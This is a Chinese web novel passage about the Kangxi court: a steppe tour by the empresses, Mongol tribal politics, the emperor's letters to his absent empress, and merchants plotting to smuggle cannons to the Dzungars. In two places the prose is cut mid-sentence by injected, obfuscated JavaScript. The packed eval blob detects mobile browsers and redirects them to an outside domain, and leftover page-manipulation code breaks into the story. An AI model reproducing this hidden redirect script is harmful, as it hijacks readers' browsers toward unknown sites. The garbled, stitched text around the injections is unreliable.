“最要紧的是西边。”宣妃阿日娜苏忽然开口,她是蒙古出身,说起草原事格外清楚,“要说乱,还是西边的厄鲁特四部。”她往火堆里加了柴,“准噶尔部的僧格,现在是老大,占着伊犁河,兵强马壮的,把和硕特部逼得跑到青海去了;杜尔伯特部老实些,守着额尔齐斯河;最可怜是土尔扈特部,被准噶尔挤得没法子,听我阿爸说他们十几年前就远迁到伏尔加河去了——那可是万里之外啊。” 珠兰听得认真,轻声道:“这么说,准噶尔部已成了气候?” “是心腹大患。”瞟了阿日娜苏一眼,太皇太后的树枝重重戳在地上,“他们离着中原远,又握着西域与罗刹的商路,迟早是个麻烦。”这个傻丫头啊,非得要闹着出来,留在宫中陪伴天子有何不好。偏生她寻了皇后说项,皇帝也同意,叫哀家不好说别的。 篝火渐渐弱下去,远处传来夜鹰的叫声。太皇太后望着星空,叹了口气:“咱们这趟来草原,不光是为了科尔沁那点商路纠纷。这些部落,得让他们知道,跟着朝廷有肉吃,闹别扭没好果子——南边的事正紧,北边可不能再出乱子。” 众人都没再说话,只看着火星在黑暗里明灭。 草原的风里,仿佛藏着各部的马蹄声,而一堆堆篝火,正试图把那些散落的影子,一点点拢到自己的旗幡下。 佟国纲拨了拨篝火,火星溅到鄂伦岱脚边,那小子正梗着脖子,手里转着腰刀,满脸不屑:“阿玛,这草原上的蒙古人,不就会骑个马吗?真打起来,咱们火器营的枪子儿可比他们的弓箭管用。”自打配装了仿造西方的新式火器,十五岁的鄂伦岱见了狗都想给一枪子儿。 佟国维的长子叶克书缩在角落,攥着长矛的手在抖,小声道:“大伯,咱们要打仗吗?听说……听说漠北的人挺凶的?”咱火器营就来了八百人啊,打起来怎么对付上万蒙古人。他今年才十四岁,不想死啊。 佟国纲瞪了鄂伦岱一眼,又转向叶克书,声音沉了沉,“你们俩,一个太莽,一个太怯,都得在这草原上好好学学。” 他捡起根烧黑的木柴,在地上划了个圈,“先说离咱们最近的漠南蒙古——科尔沁部知道吧?两宫的娘家,固伦雍穆长公主现在就在那儿,嫁给了卓礼克图亲王。他们的骑兵,当年跟着太宗爷打林丹汗,比八旗子弟还勇猛,你敢说他们好对付?” 鄂伦岱撇撇嘴:“那不是咱们的姻亲吗?难不成还能反了?” “姻亲?”佟国纲冷笑,“巴林部也是姻亲!固伦淑慧长公主嫁在那儿,丈夫是巴林郡王。可前阵子,就因为科尔沁垄断了商路,巴林部的人差点跟科尔沁动刀子——真到了利益上,姻亲的面子值几两银子?” 他又戳了戳地面,“这些漠南部落,看着归顺得早,可部落实力厚,又有皇室公主盯着,真要惹毛了,北边的屏障就塌了,你说能不能小看?” 鄂伦岱转刀的手慢了些,没再顶嘴。 佟国纲又看向叶克书,语气缓了些:“你怕的漠北喀尔喀,是土谢图汗、札萨克图汗那几部。他们离得远,跟咱们是藩属关系,每年来朝贡,可背地里,沙俄的人老往他们帐篷里钻,给银子给刀枪,就盼着他们跟咱们生嫌隙。” 他顿了顿,指着西北方,“更要防的是西边的准噶尔——厄鲁特四部里的霸主,僧格那小子握着伊犁河,兵强马壮,把和硕特部逼去了青海,连土尔扈特部都被他赶去了伏尔加河。咱们这次跟着太皇太后过来,明着是护卫,暗着就是盯着这些人,你说有没有风险?” 叶克书的脸白了,嘴唇哆嗦着:“那……那咱们带了火器,他们不敢动吧?” “不敢?”佟国纲敲了敲他的头盔,“三藩在南边都敢劫咱们的商船,这儿离京城几千里地,真要是起了冲突,棍棒刀剑枪子儿可不长眼。太宗的女儿,固伦端靖长公主在阿巴噶部,固伦永安长公主在敖汉部,她们在这儿维系着关系,可真到了要动刀的时候,这些公主能挡得住?” 他看着叶克书,“咱们是侍卫,不是来游山玩水的。你得把胆子练硬了,该警惕的时候不能怂,这才叫勇士巴图鲁。” 篝火渐渐弱下去,远处传来马嘶。鄂伦岱忽然把刀插进鞘里,瓮声瓮气地说:“我知道了,科尔沁、巴林部不能惹,准噶尔要防着。” 叶克书也攥紧了长矛,小声道:“侄儿……侄儿会跟着伯父和大哥,绝不拖后腿。” 佟国纲点点头,望着漆黑的草原:“这就对了,草原看着宽,藏着的骨头多着呢。咱们火器营的枪要准,眼更要亮——太皇太后、太后和皇后在这儿,咱们的命,就得跟贵人的安危绑在一块儿。” 夜风吹过帐篷,带着青草的寒气。鄂伦岱不再咋咋呼呼,叶克书也挺直了些腰板,篝火的余光里,父子伯侄三人的影子投在地上,像三杆绷紧的枪。 佟国纲站在帐篷外,望着火器营士兵操练的身影,心里跟明镜似的。皇帝让他带火器营来草原,明面上是护驾,实则是瞧着他既能带兵压阵,又能应付些部落间的琐事——太皇太后镇着场子,多半用不上他,但这“重兵护卫”的样子必须做足,让那些心思活络的蒙古王公看看,朝廷对草原的事有多上心。 他带来的家伙什,全是火器营最新的宝贝:带准星的鸟铳比寻常的长三寸,射程能远出半里地;小佛郎机炮拆成零件随军走,组装起来半个时辰就能开火。选的兵更是精挑细选,八旗子弟里优中选优,拉弓能百步穿杨,玩枪能指哪打哪,是实打实“能者上庸者下”筛出来的尖子。 他们可跟后头玩闹一样的一千内务府护军不一样,不是摆样子的仪仗队! 只是队伍里那两个小子,是他存的私心。长子鄂伦岱性子野,刀法枪法都是好的,就是太桀骜,得在草原上磨磨棱角;弟弟佟国维的儿子叶克书呢,又太老实,见了血就慌,正好来见见真场面,别总像只受惊的兔子。 正想着,忽然想起临行前葛布喇老哥哥那副模样。那老伙计红着脸,话都说不利索:“国纲……皇后她……在草原上若有不妥,你多照看些。” 佟国纲当时差点笑出来——赫舍里葛布喇在朝中说一不二,对着他却像个求人的小吏。 可转念一想,又觉得心里发酸。谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“歇会儿吧。”尼雅掀开车帘进来,见她眼泡红肿,忍不住道,“娘娘让我们来搭把手。” 图雅、吉雅、禄雅跟着进来,手里都捧着纸笔。尼雅拿起春苒写废的信纸,比对了两下她的字迹,忽然笑了:“这字看着娟秀,其实起笔带了点硬劲,我能仿。”她沾了沾墨,提笔写了句“午间扎营时,见两只黄羊从西边跑过”,竟与春苒的笔迹有七八分像。 图雅也跟着试了试:“我来写太后的起居,她老人家爱说些家常,不难。” 吉雅、禄雅也分了工,一个专写行军路线,一个记粮草消耗,都是些程式化的句子,练两遍就熟了。 珠兰掀帘进来时,正见四个女官围着小几,埋头仿写,春苒则靠在车壁上,捧着热茶直乐。“怎么样?”她笑着问,“这法子比你一个人硬撑强吧?” 春苒赶紧起身行礼,眼眶还红着:“多谢娘娘体恤,不然……奴婢今晚怕是得熬通宵了。” 光是太皇太后每日的赏赐、太后念叨的琐事、娘娘查看的商单,就够她写满三页纸,还得算上扎营时间、里程数、天气好坏,简直比内务府的账册还繁琐。 “皇上也是,非要问得这么细。”珠兰拿起一张仿写的信纸,见尼雅把“皇后查看货单”写成“皇后核阅商契”,忍不住敲了敲她的额头,“仿字归仿字,别瞎改词,回头梁九功又得嚼舌根。” 尼雅吐了吐舌头,赶紧改回来。图雅笑道:“其实皇上也是惦记着这边呢,不然哪用得着每日一封?” 珠兰没接话,只望着窗外掠过的草原。风卷着草浪,远处的羊群像散落的珍珠,春苒写的那些“琐事”,其实是给紫禁城的定心丸——太皇太后安好,太后安好,她也安好。只是这定心丸,磨得春苒快散架了。 有索额图调教的一千护军跟着,其实京中大可以放心。这些人忠心耿耿,皆奉珠兰为主,又被严格训练的两年,乃是她敢来草原耍的底气。 “行了,你们接着写,”珠兰替春苒理了理鬓发,“写完这封,让侍卫快马送出去。晚了,皇上该等急了。” 车外传来马蹄声,是佟国纲派来的侍卫,等着取信。 女官们加快了笔速,笔尖在纸上沙沙作响,混着马车的颠簸声,像一首藏在风里的家书。 春苒捧着热茶,看着她们仿得越来越像的字迹,忽然觉得这摇摇晃晃的马车里,竟比宫里还暖和些——至少,不用一个人硬扛着呀。 珠兰他们离京已有一个月,这一个月里,乾清宫与养心殿的地砖几乎要被皇帝踱出坑来。 他常常独自一人走到内务府,在珠兰惯坐的那张梨花木椅上静坐片刻——椅垫上还留着淡淡的、她常用的茉莉香气息,阳光透过窗棂落在椅角,恍惚间竟像她刚起身离开一般。 宫里但凡长点眼色的人,都瞧得明明白白:皇上这是想皇后了。 乾清宫的日晷影子挪过“午”字时,皇帝又踱到了内务府。珠兰常坐的那张梨花木椅还空着,椅垫上绣的缠枝莲被阳光晒得暖融融的,他伸手按了按,仿佛还能摸到她坐过的温度。 “皇上,春苒姑娘的信到了。”梁九功轻手轻脚地递上信笺,眼观鼻鼻观心——那信是八百里加急从草原送来的,字迹在颠簸中有些歪斜,却一笔一划记着琐碎:“寅时拔营,太皇太后让给侍卫们分了御寒的毡子;辰时过了小河,太后捡了块好看的鹅卵石;巳时歇脚,皇后娘娘查了皮毛,说今年的狼皮比往年厚实…… 这一个月,皇上每日必问“信来了吗”,读信时的模样,活像个被情绪牵着走的孩子。 看到“皇后采了把金莲花,说比御花园的开得野艳”,他会皱着眉嘀咕“玩心倒大”,语气里带着几分酸意;读到“皇后教蒙古姑娘绣荷包,笑得前仰后合”,又忍不住弯起嘴角,指尖轻轻点着信纸,心里叹一句“疯丫头”;可真当看到“夜里风大,皇后裹着厚披风还在看星图”,眉头又瞬间拧起,忙让梁九功记下“给草原送些更厚实的狐裘”。 这般又气又疼的情绪翻涌着,末了总会化作一声轻不可闻的叹息:“罢了,她开心就好,出去一趟也值了。” 可春苒的信再细,也抵不上珠兰亲手写的。 只是,珠兰的亲笔信却稀得像草原的雨。 明明每日都有信使往太皇太后帐中跑,她怎会不知?偏她的信,隔五天才来一封,后来竟拖到七天,信上的话也越来越敷衍。 起初还会写“夜里帐外的风,像你在耳边说话”,后来只剩“今日晴”“风大”,到最后,竟通篇都是“太皇太后用了两碗奶茶”“太后说沙葱饺子好吃”,字字句句都是客套,连半分往日的亲昵都寻不见。 皇帝摸着案上那摞信,最上面一封是五天前的,字迹潦草,只写了三行:“今日风大,太皇太后喝了两碗姜茶;太后摘了些沙棘果;我还好。” “还好?”皇帝捏着信纸的边角,指节泛白。 前几封好歹还说“夜里想你”,如今连句软话都没了,倒像是给内务府写的例行公事。 他对着空荡荡的殿宇叹气,活像个被丢在家里的怨妇——她在草原上看黄羊、采野花,玩得不亦乐乎,他却在宫里对着奏折发呆,连膳桌上的玫瑰酥都觉得没她在时甜。 提笔给珠兰写信时,皇帝捧着那薄薄一页纸,只觉心口空落落的,活像个被丢在家里的怨妇,笔尖不自觉就带了几分闺怨:“朕今日在御花园见了去年你种的那株茉莉,竟开了两朵,可惜你不在,你说要等它爬满花架,如今架上花繁,却少了个说‘真香’的人。晚膳的野鸭汤太淡,御厨说按你往日的方子炖的,可朕尝着,总差了点什么,不如你让人炖的。梁九功说草原的月亮圆,你看月时,会不会想起乾清宫的灯?” 信送出去,盼回来的回复却越来越短。 珠兰离开后,内务府虽然仍按照惯性运作,但明显出现了停滞,不再如过去一般给予皇帝惊喜不断。 即便索额图、明珠皆是年轻一辈的佼佼者,但从内务府切割出去的那些事务,总没有珠兰亲自把控时那般举重若轻。原本完全不需要康熙操心的事,也总要拿到他的案头来定夺,琐事占用了他的精力。 不是朕离不开珠兰,实则是宫中离不得皇后啊,甚至,前朝琐事也多需要她来帮他梳理好。 珠兰收到那些一日比一日哀怨的信时,常被他字里行间的委屈噎得哭笑不得。 于是,信送出去十天,收到的对应回信更敷衍:“月亮很圆,沙棘果甜,勿念。” 皇帝对着这十个字,愣了半晌,竟莫名觉得心头一软——至少她提了月亮,是不是也算跟他“共赏一轮月”? 他赶紧又写一封,字里行间全是不自觉的撒娇,“你这狠心人,三言两语就打发朕,莫非草原的黄羊比朕好看?” 68. 草原风云 京城里的一处小院,门窗紧闭,油灯豆大的火苗映着几个掌柜的脸。墙角堆着的麻袋鼓鼓囊囊,里面裹着的东西,碰一下能听见金属相撞的脆响。 “依我看,直接把这炮运过去!”一个络腮胡掌柜压低声音,手里比划着,“咱新铸的这批,比寻常佛郎机短了半截,一个人就能扛着走,威力却半分没减。除了用三次就报废,没坏处。准噶尔那帮人现在缺盐少茶,见了这炮,能不眼馋?” 对面的小个子掌柜却摇头,指尖敲着桌面:“急不得。科尔沁把着南道,咱们的货一露头,不等过阿尔泰山,就得被他们劫了。” 他凑近些,声音压得更低:“得混进去,这批货先藏在粮草里,混在内务府给咱们大姐儿送的补给里,跟着茶砖、盐巴、粮草一起走。表面上是给巴林部的凤驾送去的,进了草原,过了科尔沁,再想法子转给罗刹商人,换些极北的紧俏货回来。” 科尔沁短视,就不肯再往北走走路子,闹的他们还得跟走私似的才能去跟罗刹联系,成本涨了,事儿也太麻烦了。 络腮胡还是不放心:“那罗刹人还罢了,他家族的生意得靠着咱们的马队做,但准噶尔的人能信?他们敢接?” “怎么不敢?”小个子冷笑一声,从怀里掏出张纸条,“这是他们那边传过来的信,说部落里连贵族都快喝不上正经茶了。咱们带的货,盐是雪白的细盐,茶砖是江南的雨前茶,比科尔沁给的强十倍——他们没的选。” 他顿了顿,眼里闪过一丝算计:“但光给好处不够。罗刹商人已经动身了,他会忽悠准噶尔,让他们闹点动静。比如……在科尔沁的商路上‘不小心’劫几批货,让京城觉得‘科尔沁镇不住场子’,咱们才有理由说‘得另开商路’。” “那准噶尔的头领能答应?” “他会答应的。”小个子拿起一盏茶,慢悠悠喝着,“咱们给的不只是盐茶和炮,是让他们能绕过科尔沁,自己握点东西的底气。他要是想让部落好过,就得赌这一把。” 络腮胡想了想,猛地拍了下大腿:“行!就按你说的办!先把货混进补给队,让准噶尔的人看见甜头,剩下的,就等他们自己上钩了。” 窗外的风卷着落叶掠过,小院里的油灯晃了晃。小个子掌柜立刻点头,转身从墙角拖出个油布包,里面裹着的东西在灯光下泛着冷光——这条往漠西的路,注定要染上风沙与火药味了。“咱们得给大姐儿送去密信,趁着凤驾在草原上,必须早做准备了。” 珠兰收到信时,正蹲在帐篷外看女官们烤沙葱饼,拆开信纸差点被呛到。 她捏着信纸给尼雅看:“你瞧瞧,这哪像个皇上?倒像个没断奶的孩子。” 尼雅笑得直不起腰:“皇上这是想娘娘了。” “想我?是想有人天天给他写肉麻信吧。”珠兰翻了个白眼。她本就玩得不亦乐乎,跟着太皇太后看蒙古王公赛马,帮太后挑草原上的奇石,还与牧民认草药,整日里脚不沾地,哪有功夫天天琢磨着写情书? 可架不住皇帝催得紧,只能硬着头皮回信:“今日见了只白狐,毛比你戴的围脖还软;夜里数星星,数到第七颗时,忽然想起你说过‘星多的地方,福气厚’。” 当晚,一封密信送入帐篷,珠兰看完就烧了。 继续写回信,这些乱七八糟的情话,她自己读着都起鸡皮疙瘩。 没想到皇帝收到后,竟让梁九功把信裱了起来,还跟近侍炫耀:“你看,皇后心里是有朕的。” 她给宫中小姐妹回信时,可不是这副敷衍模样。给荣贵人诺敏的信里,会细细描述草原的落日如何把云彩染成金红,说“比御花园的晚霞野多了,像泼了一坛子胭脂”;给贵妃萨琳的信里,会念叨牧民的奶酪有多醇厚,“比你去年送我的奶酥还香,回头给你捎一整块”;连给惠贵人玉宁的信,都记得提一句“你们念叨的蒙古银饰,这儿的匠人手艺真绝,花纹里都藏着草原的风情”。 便是给妹妹塔娜的信,也是规规矩矩,十天一封从不间断,会说“太皇太后教我认蒙古的草药,有一味叫‘狼毒’的,开紫花却有毒”,也会笑“太后重骑蒙古马,都晒黑了”。 唯独给皇帝的信,像是赶着交差——谁让他三天两头催得紧。 她本就玩得脚不沾地,一会儿跟着蒙古姑娘学唱牧歌,一会儿蹲在帐篷外看女官们烤沙葱饼,偶尔还要帮太皇太后核对商路的账册,哪有闲心天天琢磨着写情话。 被逼得急了,只能硬编些“见了白狐想起你”“数星星记着你说的话”,写得自己都起鸡皮疙瘩,偏那皇帝还当宝贝似的,真是越活越回去了。 草原的风里,珠兰正追着一只黄羊跑,腰间的信袋里还揣着皇帝刚寄来的信,封皮上写着“速回”。 她笑着摇摇头,把信塞回袋里——管他呢,等玩够了,再给他写封更长的,哪怕全说沙棘果有多甜呢。 而乾清宫里,皇帝正对着那封“数星星”的信傻笑,浑然不知自己心心念念的皇后,此刻满脑子都是“今晚烤黄羊该放多少盐”。 这是一个夏天,草原上最明媚的季节。 草原的日子像浸在蜜里的奶酪,稠得暖心。珠兰跟着太皇太后和太后,从科尔沁的帐篷转到巴林部的牧场,看惯了蓝天白云,连呼吸都觉得比宫里畅快。难怪阿日娜苏怀念着这里,珠兰也觉得这里不错,尤其是这里的妇人皆有机会掌握帐中大权。 太皇太后的手段,在草原上施展得淋漓尽致。在科尔沁住的半个月,她陪着大女儿雅图公主看牧场,听她讲商路的繁华;转去巴林部,又拉着二女儿阿图公主的手,问她部落的难处。末了把姐妹俩叫到一处,笑着说:“都是我的肉,哪能厚此薄彼?” 最终定下的章程,明眼人都看得出门道——科尔沁仍握着大半商路的主导权,这是太皇太后对母族的偏袒;但也分了三成利给巴林部,让他们能从茶盐转卖里分杯羹。 雅图公主笑得从容,阿图公主也松了口气,她们都懂,能让强势的科尔沁吐出利益,已是太皇太后亲来后能给的最大体面。 其他有皇室公主的部落闻讯赶来,太皇太后也一一见了。却没再分商路,只笑着给他们指了条路:“多养羊,多存奶,把羊毛、酥油往京城送。朝廷给你们定价——茶盐卖给你们,不能高过市价三成;你们的东西送来,收购价不能低于市价五成。” 这话一出,帐篷里的漠南蒙古王公们眼睛都亮了。茶盐是刚需,收购价有了保障,等于给部落的生计上了道保险。虽没拿到商路的肥差,却得了实实在在的好处,谁也说不出二话。 更妙的是那些没娶到宗室女的部落,看着有公主的部落得了实惠,急得直搓手,纷纷求太皇太后:“求太后指婚!我们也想跟皇家结亲!” 太皇太后要的就是这个,她早备着后手,当场翻出宗室女的名册,指了远支的五个姑娘给三个大部落的首领之子,笑着说:“都是爱新觉罗家的姑娘,嫁过来就是自家人。” 联姻的绳索一系,她再趁热打铁:“你们也跟着养羊产奶,朝廷一视同仁。羊毛送内务府,能做毡子;□□送御膳房,能做奶酥。将来商路通了,你们的东西,优先往南边运。” 部落首领们听得心花怒放,纷纷跪地谢恩。 珠兰站在太皇太后身后,看着这一幕,太皇太后这一手,用几分利,几桩婚事,就把漠南的人心都拢过来了。 端敏格格偷偷笑道:“往后草原的羊毛往京城运,娘娘您内务府的毡子,怕是要堆成山了。” 珠兰也笑,望着帐篷外低头吃草的羊群,商路是表,人心是里。把这些部落的生计和朝廷绑在一处,比派多少兵守着都管用。 漠南可以如此,漠北与漠西又当如何? 风卷着草香钻进帐篷,太皇太后正跟王公们说笑,声音洪亮:“往后啊,漠南的部落谁也离不开谁喽!” 草原的夜格外静,只有帐外的风卷着草叶沙沙响。 太皇太后的帐子里燃着松木香,珠兰和端敏格格分坐两侧,看着老人家慢悠悠地转动佛珠。 “这阵子调解部落的事,你们俩都看在眼里,说说看,哀家这葫芦里卖的什么药?”太皇太后抬眼,目光在两人脸上转了圈。 端敏格格先红了脸,下意识看向帐门——她带在身边的贾敏,此刻正守在外面。 白日里贾敏跟她说的话,此刻在舌尖打了个转:“孙儿……孙儿觉得,太皇太后给的好处,都不是白给的。” 她定了定神,学着贾敏的语气说:“您让部落多养羊、多产奶,又给茶盐定价,看着是照顾他们,可暗地里,是让他们用良马换这些好处。孙儿听底下人说,科尔沁这个月送了两百匹战马到京,您就许了他们茶盐再降一成;巴林部送了一百五十匹,您也给了他们优先走商路的利。哪个部落出的马匹多,当年的优惠就厚,是不是?” 太皇太后听完,忽然抚掌大笑,眼角的皱纹都舒展开了:“好!好!端敏这是看明白了!”她转向珠兰,“你呢?你也看出来了?” 珠兰笑着点头:“格格看得通透,羊毛、酥油是生计,可朝廷最缺的是战马。用优惠换良马,既让部落得了实惠,又补了咱们的军需,还不用动刀兵,真是一举三得。” “可不是嘛。”太皇太后捻着佛珠,语气里带了几分赞许,“蒙古人善养马,可往年总藏着掖着,觉得是自家的根本。如今让他们知道,战马能换茶盐,能换安稳,体面多了。” 她看向端敏,说道:“你身边这个贾敏,是个有心的。哀家看她跟着你,倒把你的性子也磨得细了些。” 端敏格格脸更红了,却忍不住笑,“她总说,看事不能只看表面,得看最后要什么。” 帐外的风似乎小了些,松木香混着奶茶的甜香,在帐子里漫开。 太皇太后望着跳动的烛火,“往后啊,你们都得学着点。治草原,靠的不是刀枪,是让他们觉得,跟着朝廷,比自己单打独斗强。” 珠兰和端敏齐齐点头,那些看似宽厚的优惠,实则是根看不见的绳,一头系着蒙古部落的生计,一头牵着朝廷的军需,轻轻一拉,便是彼此都离不开的牵绊。 而帐外的贾敏,听见帐内传来太皇太后的笑声,悄悄松了口气,指尖无意识地绞着袖口——能让格格在太皇太后面前露脸,这趟草原没白来。 入秋的风从草原来,卷着枯叶掠过乾清宫的琉璃瓦。 皇帝对珠兰的思念,也像这风似的,时松时紧地往草原的方向飘。 只是这风里,渐渐掺了些别的味道——三藩的战报雪片似的飞来,南洋的商船又被劫了两艘,连兵部的舆图上,都密密麻麻插满了代表调兵的小旗。 他开始忙得脚不沾地,白日里在南书房召集群臣议事,对着奏折上的“耿精忠私通郑经”“吴三桂增兵贵州”皱眉;夜里在养心殿核对粮草账册,算着八旗宗室的兵丁何时能抵达前线。连福全、常宁、隆禧这几个兄弟,都被他亲手塞进了军营——“是皇子就得有军功”,他拍着常宁的肩膀说,语气里带着不容置疑的威严。 给珠兰写信的频率,自然慢了下来。从原先的三日一封,变成一月七八封,字里行间也少了些“茉莉花开”“月亮圆缺”的闲愁,多了些“海事衙门新造了战舰”“科尔沁的商路通了”的正经事。可笔尖划过信纸时,总会不自觉地停顿——比如写到“御膳房做了新的奶皮卷”,就会想起她爱吃甜,忍不住添一句“比草原的奶酪差远了”;提到“火器营的枪试射得准”,又会想“她若是见了,定会缠着要学”。 春苒的信送来,他未必日日都看,却总会在某个深夜,把几封信攒到一起,就着一盏孤灯细读。看她写“太皇太后宴饮多日”,知道她在替朝廷笼络人心;看她记“太后采了袋野菊花”,想象着太后笑盈盈的模样;看到“皇后今日算了漠北的皮毛账,赚了不少”,嘴角会不自觉地上扬——这丫头,走到哪都不忘算账。 越忙,越觉得这份牵挂沉。 自己对珠兰的感情,和对葛布喇、佟国纲这些能臣的倚重,是不一样的。 对臣子是“君臣相得”,对她却是“心尖上的人”——会惦记她吃没吃饱,会担心她夜里冷不冷,会因为她信里一句敷衍的“安好”,既松口气又有点委屈。 秋意漫过草原时,珠兰将一叠写满字的纸铺在太皇太后的案上。 纸上是她对草原物产的盘算:从牲畜皮毛到药材,从传统奶制品到新加工的奶糖、肉脯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135229|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笔一画,都透着精打细算的妥帖。 太皇太后逐行看着,枯瘦的手指在“奶砖熬制法子”“皮毛鞣制步骤”上顿了顿,忽然抬眼,目光里满是赞许:“珠兰这脑子,真是比内务府的老账房还灵光。” 她年轻时见惯了草原与京城的贸易困局,原料贱卖、运输损耗大,多少人想破头也没找到出路,珠兰却用几页纸,把“原料供应”变成了“链条绑定”,既让蒙古人得实惠,又让京城握得住主动权。 太后坐在一旁,看着纸上“科尔沁优先供应奶原料,利润提两成”的字样,眼眶微微发热。 她出身科尔沁,最懂母族的难处——往年牧民的□□喝不完就坏了,只能低价换些茶盐,如今珠兰给的法子,等于给科尔沁开了条稳当财路。 “珠兰啊,”她拉住珠兰的手,掌心温温的,“你这是把我们科尔沁的人,往好日子里拉呢。” 不多时,雅图公主和阿图公主也被叫了来。两人接过女官们写的“加工细则”,越看越心惊。 雅图摸着“奶糖配方”,想起部落里孩子们馋糖的模样,声音里带了颤:“这样一来,牧民熬出的奶糖,能卖到京城去?孩子们也能跟着沾光?” 阿图则盯着“皮毛半处理价目表”,算着账:“按这法子,巴林部的狼皮能多赚三成。” 抬头看向皇后时,两位公主眼里满是真切的佩服。 雅图率先起身行礼,语气郑重:“皇后娘娘为草原想得这样深,我代科尔沁牧民谢您。” 阿图跟着躬身:“往后部落里的事,娘娘若有吩咐,巴林万死不辞。” 她们久在草原,太清楚这份计划的分量——不只是赚银子,是让日子有了盼头,让部落的生计与京城紧紧缠在了一起。 珠兰笑着扶起她们:“都是一家人,说这些见外了。” 这些日子她跟着巡营,见多了草原底层牧民的苦,不过是一群任人驱使的奴隶,吃不饱穿不暖。 太皇太后要的是部落归顺,她却想着,若能让这些人日子好过些,或许……能有意外收获。 几日后,珠兰的信随着信使回了京城。信里细细说了奶糖试做成功、漠南积极性高涨的事,字里行间都是对“链条绑定”的得意。 康熙捧着信纸,指尖摩挲着“漠南与京城,不仅是血脉相连,往后便是一条心”的字句,嘴角忍不住上扬。 珠兰费这许多心思,定是记挂着他平定三藩、稳固北疆的难处,才替他把草原的人心拢得这样紧——这分明是她藏在账本后的爱意,比那些敷衍的“月亮圆”真挚多了。 而草原的帐篷里,珠兰正听着雅图和阿图两位公主的话。 她们按珠兰说的,给牧民提了工钱,允诺“多产多得”,不过半个月,奶砖产量涨了四成,鞣制的皮毛也比往常细致。 “往后就跟着娘娘的法子干,踏实。”阿图笑着说,眼里映着篝火的光。贱民的命不重要,银子却很重要,付出一点点,收获一堆堆,这笔账她会算的。 珠兰点点头,一枚淡青色的、泛着微光的结晶,正悄然成形——是“涟漪级”能量结晶。这是漠南牧民燃起的希望,是日子向好时,悄然滋生的力量。虽然只是贵人手指缝漏出的一点点,也能帮他们多活几年,多养几个孩子。 太皇太后的笑声从帐外传来,正与两位公主说着明年扩大生产的事。 秋风吹过,带着奶糖的甜香,洒落的月光也带着人心渐拢的暖意。 皇帝望着窗外的月亮,忽然拿起笔,在纸上写:“今日见了索额图的长子,刚满周岁,胖得像个团子。忽然想,咱们的孩子,会不会也这么爱笑?” 写完又觉得不妥,揉了纸团扔进炭盆。火苗舔舐着纸角,映得他眼底有些发烫。 思念还是会来,像草原的风,一阵一阵的。有时是在批阅奏折的间隙,有时是在膳桌上看到玫瑰酥的瞬间,有时是在乾清宫的椅子上坐下时——那上面仿佛还留着她的体温。 只是这思念里,少了些怨怼,多了些踏实。他知道她在草原安好,在替他稳住北边,在做她擅长的事。 这样就好。 至于那些没说出口的“想你”,等她回来,再慢慢说吧。 漠西的秋风卷着沙砾,打在准格尔部落的帐篷上,像谁在外面敲着破鼓。 盐袋里的盐粒粗得硌牙,茶砖带着股土腥味,却比去年贵了三成——这都是拜南边的科尔沁所赐。自从他们攥紧了商路,晋商的驼队就再没踏过阿尔泰山,准格尔人能分到的货,只剩些别人挑剩下的残次品。 牧民们的毡房越来越破,连贵族的帐篷里,奶茶都熬得比往年稀了。头领僧格坐在虎皮垫上,看着案上那小半块结了块的茶砖,眉头拧成了疙瘩。 就在这时,帐帘被风掀开,一个裹着黑斗篷的罗刹商人像幽灵似的钻了进来,手里拎着个沉甸甸的包袱。 “头领尝尝这个?”商人说得好蒙语,没多废话,解开包袱,露出雪白的盐粒、油亮的茶砖,还有几匹靛蓝的棉布——都是准格尔人眼馋的好东西。 贵族们凑过来,捏起盐粒尝了尝,又掰了块茶砖闻了闻,忍不住咋舌:“这盐……比咱们的细多了!这茶砖,是江南的好货!” 僧格盯着商人,“东西是好,可你能运得过来?科尔沁在商路上卡得死,连只苍蝇都飞不过去。” 商人笑了,露出一口黄牙,“您甭管我怎么运,我有路子,就怕您不敢用。”他顿了顿,声音压得低了些,“京里那帮人,把商路全给了科尔沁,咱们这些做买卖的,想做点正经生意都难。说白了,还是草原人坑草原人,他们对自己人,才真叫狠。” 这话戳中了头领的痛处,他猛地拍了下案几,“你想让我们怎么着?” 商人凑近一步,眼神里闪着精光:“我们想把这条商路打开,缺个契机。这个契机,只有您能给。”他没明说是什么契机,但帐里的人都听出了弦外之音——那绝不会是太平日子里能有的事。 风从帐帘的缝隙里灌进来,吹得烛火直晃。头领看着那些雪白的盐、油亮的茶砖,又想起部落里越来越难熬的日子,指节在案上敲了敲,没说话。但他眼里的犹豫,正一点点被贪婪和焦躁取代。 69. 亲王失踪 昆明 平西王府的灯笼,从午间就开始往廊下挂。 红绸缠满了梁柱,金粉涂的“寿”字在日光下晃眼——说是为吴三桂贺五十大寿,府里上下却透着股不同寻常的紧绷,连洒扫的仆役都踮着脚走路,生怕踩碎了地上的影子。 管事们在穿堂里碰头,算盘珠子打得噼啪响。 “后厨要备百桌席,滇味得足,菌子、竹虫、象鼻蚌都得有,再让王爷喜欢的那几个厨子露手绝活。”为首的管家压低声音,与左右言道:“二爷说了,今晚的酒要够烈,菜要够硬,别让人觉得咱们王府怯了场。” 后厨早忙得像开了锅,土灶上炖着冬虫夏草,砂锅咕嘟着白松茸牛尾汤,蒸汽裹着肉香漫到院子里。 角落里,三个穿着粗布短打的厨子正围着个巨大的瓦罐忙碌,看着就跟别的厨子没区别,都脑袋大脖子粗的。 “山珍汤的料子备齐了?”为首的厨子往灶膛里添了块松柴,火苗“腾”地窜起来,映亮他眼底的精光。 